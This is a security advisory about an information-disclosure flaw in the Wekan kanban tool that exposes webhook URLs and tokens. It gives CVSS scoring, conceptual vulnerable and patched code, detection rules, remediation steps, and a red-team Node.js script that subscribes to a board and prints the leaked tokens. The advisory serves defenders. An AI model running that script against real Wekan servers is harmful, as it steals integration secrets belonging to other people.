CVE-2026-30845

Executive Summary

CVE-2026-30845 is an information disclosure vulnerability in the open-source kanban tool Wekan, built on the Meteor framework. The vulnerability resides in the board composite publication, which exposes all integration data for a board without field filtering. This includes sensitive fields such as webhook URLs and authentication tokens. The publication is accessible to all board members regardless of their role (including read-only and comment-only users) and even to unauthenticated DDP clients for public boards. This token leak allows attackers to make unauthenticated requests to the exposed webhooks, potentially triggering unauthorized actions in connected external services. The vulnerability affects Wekan versions 8.31.0 through 8.33 and has been fixed in version 8.34.

Supply Chain & Package Security

Wekan is an open-source project distributed via GitHub and Docker Hub. The vulnerability is introduced in the application code itself, not in a third-party package. However, the Meteor framework's DDP protocol is used for real-time data transfer, and the vulnerability exploits the lack of field filtering in the publication. Users should ensure they are using the latest patched version (8.34) and verify the integrity of their Docker images or source code.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs to be a board member (any role) or an unauthenticated user for public boards.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) - Sensitive data (webhook URLs and tokens) is exposed.
• Integrity (I): None (N) - The vulnerability does not directly allow data modification.
• Availability (A): None (N) - The vulnerability does not affect availability.

Threat Level: High. The exposure of webhook tokens can lead to unauthorized actions in external services, potentially causing data breaches or service disruption.

Deep Dive & Mechanics

The vulnerability is in the board composite publication within Wekan's Meteor application. Meteor uses publications to send data to clients. The board composite publication is designed to publish all data related to a board, including cards, lists, and integrations. However, it does not filter fields, meaning it sends the entire integration object, which includes sensitive fields like webhookUrl and token.

The publication is accessible to all board members, regardless of their role (e.g., read-only, comment-only). For public boards, even unauthenticated DDP clients can subscribe to this publication. This means any user who can access a board can retrieve the webhook credentials.

The attack flow is as follows:

1. An attacker gains access to a Wekan board (either by being a member or by accessing a public board).
2. The attacker subscribes to the board composite publication via the DDP protocol.
3. The publication sends the integration data, including the webhook URL and token.
4. The attacker extracts the token and makes unauthenticated requests to the webhook URL.
5. The external service processes the request, potentially triggering unauthorized actions (e.g., sending messages, creating issues, or deploying code).

Vulnerable vs. Patched Code

Vulnerable Code (versions 8.31.0 - 8.33): The board composite publication likely uses a Meteor publishComposite function that returns all fields of the integration collection without filtering.

// Example vulnerable code (conceptual)
Meteor.publishComposite('board', function(boardId) {
  return {
    find: function() {
      return Boards.find({ _id: boardId });
    },
    children: [
      {
        find: function(board) {
          return Integrations.find({ boardId: board._id });
        }
      }
    ]
  };
});

Patched Code (version 8.34): The patched version adds field filtering to the publication, ensuring that sensitive fields like webhookUrl and token are not sent to clients.

// Example patched code (conceptual)
Meteor.publishComposite('board', function(boardId) {
  return {
    find: function() {
      return Boards.find({ _id: boardId });
    },
    children: [
      {
        find: function(board) {
          return Integrations.find({ boardId: board._id }, {
            fields: { webhookUrl: 0, token: 0 }
          });
        }
      }
    ]
  };
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Wekan instance running version 8.31.0 to 8.33.
• Access to a board (as a member or via public board).
• A DDP client (e.g., ddp-client npm package or a custom script).

Exploitation Steps:

1. Set up a DDP connection to the Wekan server.
2. Subscribe to the board composite publication for a specific board ID.
3. Parse the received data to extract the integration object.
4. Extract the webhookUrl and token fields.
5. Use the token to make an authenticated request to the webhook URL.

Example DDP Client Script (Node.js):

const DDPClient = require('ddp-client');

const client = new DDPClient({
  host: 'wekan.example.com',
  port: 443,
  ssl: true,
  autoReconnect: true,
  autoReconnectTimer: 500,
  maintainCollections: true,
  ddpVersion: '1'
});

client.connect((error) => {
  if (error) {
    console.log('Connection error:', error);
    return;
  }

  const boardId = 'YOUR_BOARD_ID';
  client.subscribe('board', [boardId], () => {
    const integrations = client.collections.get('integrations');
    integrations.forEach((integration) => {
      console.log('Webhook URL:', integration.webhookUrl);
      console.log('Token:', integration.token);
    });
  });
});

Blue Team

Detection Steps:

1. Monitor DDP subscriptions for unusual patterns, such as a single client subscribing to multiple board publications.
2. Check server logs for unauthorized access attempts to webhook URLs.
3. Review board membership and ensure that only trusted users have access to sensitive boards.
4. For public boards, consider making them private or adding authentication.

Honeypot Setup:

• Create a fake board with a dummy webhook integration.
• Monitor the webhook URL for any incoming requests.
• If a request is received, it indicates that an attacker has extracted the token.

Indicators of Compromise (IOCs)

• Network IOCs:
  • DDP subscription requests to the board publication from unauthorized users.
  • HTTP requests to webhook URLs with tokens that were not intended for public use.
• File IOCs:
  • Log entries showing DDP subscriptions from users with read-only or comment-only roles.
• Behavioral IOCs:
  • Unusual activity in external services connected via webhooks (e.g., unexpected messages, issues, or deployments).

Detection Engineering

YARA Rule

rule CVE_2026_30845_Wekan_Token_Leak {
  meta:
    description = "Detects Wekan integration data exposure in DDP traffic"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-30845"
  strings:
    $webhook_url = /"webhookUrl"\s*:\s*"https?:\/\/[^"]+"/
    $token = /"token"\s*:\s*"[A-Za-z0-9_-]+"/
  condition:
    any of them
}

Sigma Rule

title: Wekan Integration Data Exposure via DDP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DDP subscriptions to the board publication that may expose integration tokens
author: Valters IT
date: 2026-01-01
references:
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30845
logsource:
  category: application
  product: wekan
detection:
  selection:
    event: "ddp_sub"
    publication: "board"
  condition: selection
falsepositives:
  - Legitimate board members accessing integration data
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2026-30845 Wekan Token Leak"; flow:to_server,established; content:"|22|msg|22|"; content:"|22|method|22|"; content:"|22|sub|22|"; content:"|22|board|22|"; content:"|22|params|22|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wekan to version 8.34 or later.
2. If upgrade is not possible, restrict access to boards by making them private and limiting membership.
3. Rotate any exposed webhook tokens immediately.

Long-term Mitigations:

• Implement network segmentation to limit access to the Wekan server.
• Use a Web Application Firewall (WAF) to monitor and block suspicious DDP traffic.
• Regularly audit board memberships and remove unnecessary users.
• Monitor external services for unauthorized webhook requests.

Patch Details:

• Upgrade to Wekan version 8.34, which includes field filtering for the board composite publication.
• The patch is available on GitHub: https://github.com/wekan/wekan/releases/tag/v8.34

Valters IT
DevSecOps & Cyber Threat Intelligence Expert